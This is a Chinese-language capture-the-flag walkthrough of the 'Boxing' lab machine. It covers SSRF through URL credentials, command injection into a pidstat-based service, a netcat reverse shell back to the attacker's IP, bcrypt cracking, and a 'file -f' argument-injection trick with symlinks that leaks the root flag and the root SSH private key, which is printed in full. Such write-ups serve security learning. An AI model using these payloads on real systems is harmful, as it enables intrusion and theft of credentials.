文章

Boxing

Boxing

四月一号,下午五点说要上靶机,结果到凌晨了,上了另一个靶机,哈哈哈!

image-20240402002419079

信息搜集

端口扫描

1
rustscan -a 172.20.10.14 -- -A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Open 172.20.10.14:22
Open 172.20.10.14:80

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:74:2f:1c:d1:23:f6:1f:dd:3a:52:94:5d:8b:7c:d9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLY/Tir2FkRAXQpX/SIaJMH+KPi9iy+ORbcXQ8wNEeYMKqY3YBCu/UK6o4uEI67PItwJjQU6LDviN0lvscz6TAw=
|   256 96:fb:74:b2:7d:ac:66:40:e9:94:df:83:9a:a6:07:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA+Bu0Z/Y8/SDx2JYaJsoWxQzQWUgaLuni9OyAE4SdFm
80/tcp open  http    syn-ack Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Oxer
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

1
gobuster dir -u http://172.20.10.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html.png,jpg,zip
1
2
3
4
5
6
7
8
9
/.html.png            (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 313] [--> http://172.20.10.14/images/]
/feedback.php         (Status: 200) [Size: 1616]
/css                  (Status: 301) [Size: 310] [--> http://172.20.10.14/css/]
/js                   (Status: 301) [Size: 309] [--> http://172.20.10.14/js/]
/.php                 (Status: 403) [Size: 277]
/.html.png            (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
1
sudo dirsearch -u http://172.20.10.14 2>/dev/null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[12:27:10] 301 -  309B  - /js  ->  http://172.20.10.14/js/
[12:27:13] 403 -  277B  - /.ht_wsr.txt
[12:27:13] 403 -  277B  - /.htaccess.bak1
[12:27:13] 403 -  277B  - /.htaccess.save
[12:27:13] 403 -  277B  - /.htaccess_extra
[12:27:13] 403 -  277B  - /.htaccess_orig
[12:27:13] 403 -  277B  - /.htaccessOLD2
[12:27:13] 403 -  277B  - /.htaccessOLD
[12:27:13] 403 -  277B  - /.html
[12:27:13] 403 -  277B  - /.htaccess.orig
[12:27:13] 403 -  277B  - /.htaccess_sc
[12:27:13] 403 -  277B  - /.htaccess.sample
[12:27:13] 403 -  277B  - /.htpasswds
[12:27:13] 403 -  277B  - /.httr-oauth
[12:27:13] 403 -  277B  - /.htpasswd_test
[12:27:13] 403 -  277B  - /.htaccessBAK
[12:27:13] 403 -  277B  - /.htm
[12:27:14] 403 -  277B  - /.php
[12:27:19] 200 -    2KB - /about.html
[12:27:42] 301 -  310B  - /css  ->  http://172.20.10.14/css/
[12:27:49] 200 -  576B  - /feedback.php
[12:27:54] 200 -  898B  - /images/
[12:27:54] 301 -  313B  - /images  ->  http://172.20.10.14/images/
[12:27:57] 200 -  482B  - /js/
[12:28:20] 403 -  277B  - /server-status/
[12:28:20] 403 -  277B  - /server-status

漏洞扫描

1
nikto -h http://172.20.10.14
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.20.10.14
+ Target Hostname:    172.20.10.14
+ Target Port:        80
+ Start Time:         2024-04-01 12:50:31 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 5d2e, size: 61090ae116296, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2024-04-01 12:50:51 (GMT-4) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

漏洞挖掘

实地勘探一下

image-20240402002742137

image-20240402002905766

查看敏感目录

/feedback.php

image-20240402003058961

image-20240402003326602

查看一下其他目录,没什么发现,看来这就是我们的突破点了,尝试一下,抓包看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /feedback.php HTTP/1.1
Host: 172.20.10.14
Content-Length: 12
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.10.14
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.20.10.14/feedback.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

feedback=ctf

返回包如下:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Mon, 01 Apr 2024 16:42:19 GMT
Server: Apache/2.4.57 (Debian)
X-Origin-Domain: staging-env.boxing.hmv
Vary: Accept-Encoding
Content-Length: 154
Connection: close
Content-Type: text/html; charset=UTF-8

<div style='background-color: #0a0a0a; color: #6dbf47; font-family: Arial, sans-serif; padding: 20px; text-align: center;'>Thanks for your feedback!</div>

不知道会不会存到数据库,尝试sqlmap扫描一下:

1
sqlmap -r temp.txt --batch

image-20240402012514000

看来不行,多番尝试以后没有什么发现,再收集一下信息:

查找一下中间件漏洞

image-20240402012514000

果然没有好搞的。。。。

信息搜集

发现了dns:

image-20240402203114382

尝试做一个解析:

172.20.10.14   staging-env.boxing.hmv

接着访问一下:

image-20240402203624041

阔以,尝试一下请求本地的文件:

1
http://staging-env.boxing.hmv/index.php?url=http%3A%2F%2F172.20.10.8%3A8888%2Frevershell.php

但是无效,再扫一下:

1
feroxbuster -u http://staging-env.boxing.hmv/
1
2
3
4
5
6
7
200      GET       46l       91w     1167c http://staging-env.boxing.hmv/index.php
200      GET       46l       91w     1167c http://staging-env.boxing.hmv/
301      GET        9l       28w      332c http://staging-env.boxing.hmv/cache => http://staging-env.boxing.hmv/cache/
200      GET      174l      314w     5216c http://staging-env.boxing.hmv/cache/client_requests.har.swp
200      GET        5l       27w     1884c http://staging-env.boxing.hmv/cache/data_block.bin
200      GET        4l       23w      190c http://staging-env.boxing.hmv/cache/CACHEDIR.TAG
200      GET        1l        1w      178c http://staging-env.boxing.hmv/cache/707971e003b4ae6c8121c3a920e507f5-le64.cache-8

查看一下:

image-20240402204349887

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
file *                                       
707971e003b4ae6c8121c3a920e507f5-le64.cache-8: data
CACHEDIR.TAG:                                  ASCII text
data_block.bin:                                data
README.md:                                     HTML document, ASCII text

cat CACHEDIR.TAG 
Signature: 8a477f597d28d172789f06886806bc55
# This file is a cache directory tag created by man-db.
# For information about cache directory tags, see:
#       http://www.brynosaurus.com/cachedir/

wget http://staging-env.boxing.hmv/cache/client_requests.har.swp
# feedback=Hello%21+You+don%27t+have+a+link+to+reset+the+password%2C+and+I%27ve+forgotten+it%21+I+tried+Cassius%21+but+it+doesn%27t+work%3B+Contact+me+asap+pease%21%0D%0A%0D%0ACassius",
# feedback=Hello! You don't have a link to reset the password, and I've forgotten it! I tried Cassius! but it doesn't work; Contact me asap pease!  Cassius

但是不管输入啥地址,都无法返回东西,但是输入boxing.hmv会弹回来:

image-20240402205826659

尝试改一下:

http://staging-env.boxing.hmv/index.php?url=boxing.hmv/server-status

image-20240402210111108

boxing.hmv是127.0.1.1

进程里也没撒好东西,继续探索:

http://staging-env.boxing.hmv/index.php?url=boxing.hmv:80

image-20240402210453358

1
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:8080

image-20240402210516930

尝试FUZZ一下:

1
2
seq 1 65535 > port.txt
ffuf -u http://staging-env.boxing.hmv/index.php?url=boxing.hmv:FUZZ -w port.txt -c -fw 395

image-20240402211008332

看来行不通欸。。。。

继续尝试:

1
ffuf -u http://staging-env.boxing.hmv/index.php?url=FUZZ.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fw 396

一无所获。。。。

image-20240402212709387

1
2
ffuf -u http://staging-env.boxing.hmv/index.php?url=FUZZ.boxing.hmv -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fw 396
ffuf -u http://staging-env.boxing.hmv/index.php?url=boxing.FUZZ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fw 396

都没啥东西。。

看到 28righthand 师傅的提示:

image-20240402213010375

不知道为什么要这么构造,但是先试一下,把它记住吧:

1
2
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:aaa@172.20.10.8:8888/revershell.php
python3 -m http.server 8888

image-20240402213540685

确实可以读取欸,重新fuzz一下127.0.0.1的端口

1
ffuf -u http://staging-env.boxing.hmv/index.php?url=boxing.hmv:aaa@127.0.0.1:FUZZ -w port.txt -c -fw 395

image-20240402214003026

多扫出来了一个5000端口!

1
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:aaa@127.0.0.1:5000

image-20240402214325005

漏洞利用

这个时候师傅又发现了一个payload:

image-20240402233414243

image-20240402233157673

尝试一下:

1
2
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:aaa@127.0.0.1:5000?processName='apache'+-e+id
http://staging-env.boxing.hmv/index.php?url=boxing.hmv%3Aaaa%40127.0.0.1%3A5000%3FprocessName%3D%27apache%27%2B-e%2Bid

image-20240402233702911

牛逼,尝试RCE。

1
2
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:aaa@127.0.0.1:5000?processName='apache'+-e+cat+/etc/passwd
http://staging-env.boxing.hmv/index.php?url=boxing.hmv%3Aaaa%40127.0.0.1%3A5000%3FprocessName%3D%27apache%27%2B-e%2Bcat%2B%2Fetc%2Fpasswd

image-20240402233910612

1
2
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:aaa@127.0.0.1:5000?processName='apache'+-e+nc+-e+/bin/bash+172.20.10.8+1234
http://staging-env.boxing.hmv/index.php?url=boxing.hmv%3Aaaa%40127.0.0.1%3A5000%3FprocessName%3D%27apache%27%2B-e%2Bnc%2B-e%2B%2Fbin%2Fbash%2B172.20.10.8%2B1234

image-20240402233910612

提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
(remote) www-data@boxing:/opt/pidstat$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groupes=33(www-data)
(remote) www-data@boxing:/opt/pidstat$ ls -la
total 12
drwxr-xr-x 2 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rw-r--r-- 1 root root 1876  4 févr. 03:15 index.php
(remote) www-data@boxing:/opt/pidstat$ cd ../
(remote) www-data@boxing:/opt$ ls -la
total 16
drwxr-xr-x  4 root root 4096  4 févr. 03:15 .
drwxr-xr-x 18 root root 4096  4 févr. 16:47 ..
drwxr-xr-x  2 root root 4096  4 févr. 03:15 pidstat
drwxr-xr-x  3 root root 4096  4 févr. 03:15 sos
(remote) www-data@boxing:/opt$ cd sos
(remote) www-data@boxing:/opt/sos$ ls
incrontab.sh  logs  sos.sh
(remote) www-data@boxing:/opt/sos$ cat incrontab.sh 
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
(remote) www-data@boxing:/opt/sos$ cd logs
(remote) www-data@boxing:/opt/sos/logs$ ls
output-logs.txt
(remote) www-data@boxing:/opt/sos/logs$ cat output-logs.txt 
cat: output-logs.txt: Permission non accordée
(remote) www-data@boxing:/opt/sos/logs$ cd ../;cat sos.sh
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs

cd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs
(remote) www-data@boxing:/opt/sos$ cat /etc/cron*
cat: /etc/cron.d: est un dossier
cat: /etc/cron.daily: est un dossier
cat: /etc/cron.hourly: est un dossier
cat: /etc/cron.monthly: est un dossier
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
cat: /etc/cron.weekly: est un dossier
cat: /etc/cron.yearly: est un dossier
(remote) www-data@boxing:/opt/sos$ cd /var/www
(remote) www-data@boxing:/var/www$ ls
dev  html
(remote) www-data@boxing:/var/www$ ls -la
total 16
drwxr-xr-x  4 root root 4096  4 févr. 03:15 .
drwxr-xr-x 12 root root 4096  4 févr. 17:00 ..
drwxr-xr-x  3 root root 4096  4 févr. 03:15 dev
drwxr-xr-x  5 root root 4096  4 févr. 17:17 html
(remote) www-data@boxing:/var/www$ cd dev
(remote) www-data@boxing:/var/www/dev$ ls -la
total 40
drwxr-xr-x 3 root root  4096  4 févr. 03:15 .
drwxr-xr-x 4 root root  4096  4 févr. 03:15 ..
-rw-r--r-- 1 root root 24576  4 févr. 03:15 boxing_database.db
drwxr-xr-x 2 root root  4096  4 févr. 03:15 cache
-rw-r--r-- 1 root root  1579  4 févr. 03:15 index.php
(remote) www-data@boxing:/run$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(remote) www-data@boxing:/var/www/dev$ file boxing_database.db 
boxing_database.db: SQLite 3.x database, last written using SQLite version 3040001, file counter 5, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 5
(remote) www-data@boxing:/var/www/dev$ sqlite3 boxing_database.db 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .help
.....
sqlite> .tables
fighters  matches   news      users   
sqlite> select * from users
   ...> ;
1|cassius|$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu

使用rockyou.txt字典没碰撞出来。。

再去找找其他线索,上传了一个linpeas.sh啥都没发现,还是得手看:

1
2
3
4
5
6
# incrontab.sh
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
  1. 监控/etc/apache2/sites-available/000-default.conf文件的修改事件,当文件被修改时,执行systemctl restart apache2命令重启Apache服务。这是因为000-default.conf是Apache的一个配置文件,当它被修改时,可能需要重启Apache服务来使修改生效。
  2. 监控/etc目录的删除、修改和移动事件。当这些事件发生时,执行/bin/echo "File: $@/$# => $%" > /root/user_flag.log命令。其中$@$#$%是inotify事件的特定参数,分别代表事件的文件名、事件类型和被监视的目录。这个命令将事件的详细信息写入到/root/user_flag.log日志文件中。
  3. 监控/home/cassius/user.txt文件的属性变化事件(例如权限、所有权等的变化)。当这个事件发生时,执行/opt/sos/sos.sh脚本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# sos.sh
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs

cd /home/cassius
file *
ss -altupn   # 显示系统的socket统计信息,包括监听的端口、连接状态等。
last -a		 # 显示最近登录的用户列表。
w			 # 显示当前登录的用户和他们正在执行的进程。
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs

现在利用不了,可能得在后面利用。

爆破

看来确实是爆破出来的,难道是根据用户名定制字典?

绿师傅给出了一点提示:

img

实际上这个工具搞出来的字典还不足以解决本题的问题,除非特意构造

看来是定制字典了,尝试使用工具生成一个专用字典:

结合之前的线索:

feedback=Hello! You don’t have a link to reset the password, and I’ve forgotten it! I tried Cassius! but it doesn’t work; Contact me asap pease! Cassius

我直接使用在线网站生成了,解密一下:

1
john hash.txt --wordlist=temp.txt --format=bcrypt
1
2
3
4
5
6
7
8
9
10
11
┌──(rootkali)-[/home/kali/temp/boxing]
└─# john hash.txt --wordlist=temp.txt --format=bcrypt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Cassius!123      (?)     
1g 0:00:00:00 DONE (2024-04-03 13:18) 5.263g/s 852.6p/s 852.6c/s 852.6C/s Cassius123..Cassius!123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

切换cassius用户

su cassius
Cassius!123

信息搜集

1
2
3
4
cassius@boxing:~$ ls
user.txt
cassius@boxing:~$ cat user.txt 
a2b3946358a96bb7a92f61a759a1d972

提权至root

这就要用到之前的那两个脚本了提权了:

incrontab是一个用于监控文件或目录变化的工具,它允许用户为文件或目录的特定事件(如IN_CREATE、IN_DELETE、IN_MODIFY等)指定要执行的命令。当这些事件发生时,系统会自动执行相应的命令。

具体来说,incrontab文件(通常位于/etc/incron.d/目录下)用于定义监控规则,每个规则包括要监控的文件或目录、要监控的事件以及当事件发生时要执行的命令。当文件或目录的状态发生变化时,incron守护进程会检查incrontab文件,并根据定义的规则执行相应的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# sos.sh
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs

cd /home/cassius
file *		
ss -altupn   # 显示系统的socket统计信息,包括监听的端口、连接状态等。
last -a		 # 显示最近登录的用户列表。
w			 # 显示当前登录的用户和他们正在执行的进程。
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs
1
2
3
4
5
6
# incrontab.sh
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -

很明显中间唯一的猫腻就是那个file *,我也经常用,但是我对它的原理了解的还不够多,实际上

在命令行中使用file *时,并不是在遍历所有文件。这里的*是一个通配符,表示当前目录下的所有文件和目录。file命令会对每一个匹配到的文件执行类型识别操作,而不是遍历整个文件系统。

file命令的原理是基于文件内容的分析。它会读取文件的开头部分(通常是前几个字节),然后根据这些字节的特征来判断文件的类型。这些特征可能包括魔数(magic number)或者文件头信息。魔数是一串固定的字节序列,用于标识文件类型。每种文件类型通常都有特定的魔数。

因此,当你使用file *时,file命令会依次对当前目录下的每一个文件(不包括目录)执行上述的类型识别操作,并输出每个文件的类型信息。这并不是遍历整个文件系统的过程,而只是对指定目录下的文件进行类型识别。

总结:将文件名放入命令行识别

我们看一下它的使用方法:

man file

image-20240404021130725

方法一:读取flag

-f可以用于提取文件内容,我们尝试构造一下,使file *执行file -f,然后做一个动态链接,读取flag。

还有一个要点在于,这上面这个sos.sh中间命令过长,有充分时间让我们进行备份,而不用竞争。

1
2
3
4
5
6
7
8
9
10
11
12
13
# cassius1
cd /home/cassius
touch -- '-f'      # -- 实际上代表touch的参数到此为止,移交控制权,后面都是名词
ln -s /root/root.txt root
# cassius2
while :;do cp /opt/sos/logs/output-logs.txt /tmp/root.txt 2>/dev/null;done  # 持续备份
# cassius1
chmod 755 user.txt    # 更改权限,触发请求
# 等15s左右
# cassius2
^Z
cd /tmp
head root.txt

image-20240404022639020

image-20240404022639020

中间急了,没等程序跑完。。。

19ed17ba1da85521ce659aeeb5ecd751

方法二:获取root rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
# cassius1
cd /home/cassius
touch -- '-f'      # -- 实际上代表touch的参数到此为止,移交控制权,后面都是名词
ln -s /root/.ssh/id_rsa id_rsa
# cassius2
while :;do cp /opt/sos/logs/output-logs.txt /tmp/root.txt 2>/dev/null;done  # 持续备份
# cassius1
chmod 755 user.txt    # 更改权限,触发请求
# 等15s左右
# cassius2
^Z
cd /tmp
cat root.txt

改一下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

保存一下:

image-20240404003942689

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@boxing:~# whoami;id
root
uid=0(root) gid=0(root) groupes=0(root)
root@boxing:~# ls -la
total 36
drwx------  5 root root 4096  4 févr. 17:19 .
drwxr-xr-x 18 root root 4096  4 févr. 16:47 ..
lrwxrwxrwx  1 root root    9  4 févr. 17:11 .bash_history -> /dev/null
-rw-r--r--  1 root root  571  4 févr. 03:15 .bashrc
drwx------  3 root root 4096  4 févr. 17:20 .config
drwxr-xr-x  3 root root 4096  4 févr. 03:15 .local
-rw-r--r--  1 root root  161  4 févr. 03:15 .profile
-rwx------  1 root root   33  4 févr. 03:15 root.txt
drwx------  2 root root 4096  4 févr. 17:13 .ssh
-rw-r--r--  1 root root   53  3 avril 19:35 user_flag.log
root@boxing:~# cat root.txt 
19ed17ba1da85521ce659aeeb5ecd751

下班!!!

额外收获

HTTP basic认证

前面 28righthand(rpj7)师傅找到的构造方法,群主师傅把出处发出来了,:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect

image-20240404003942689

这种漏洞是进行了重定向,所以后面的那些个页面,都不可以在输入框输入,因为输入框中的参数会被提交到staging-env.boxing.hmv,而非我们构造出的boxing.hmv:5000中。

出现的xxxx:xxxx@www.example.com实际上是basic认证,且是使用url身份凭证进行访问的:

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Authentication

image-20240404004620573

pidstat

image-20240404010635472

这是那个apache -e的由来,服务器实际上执行了pidstat相关命令,可以查一下chatgpt:

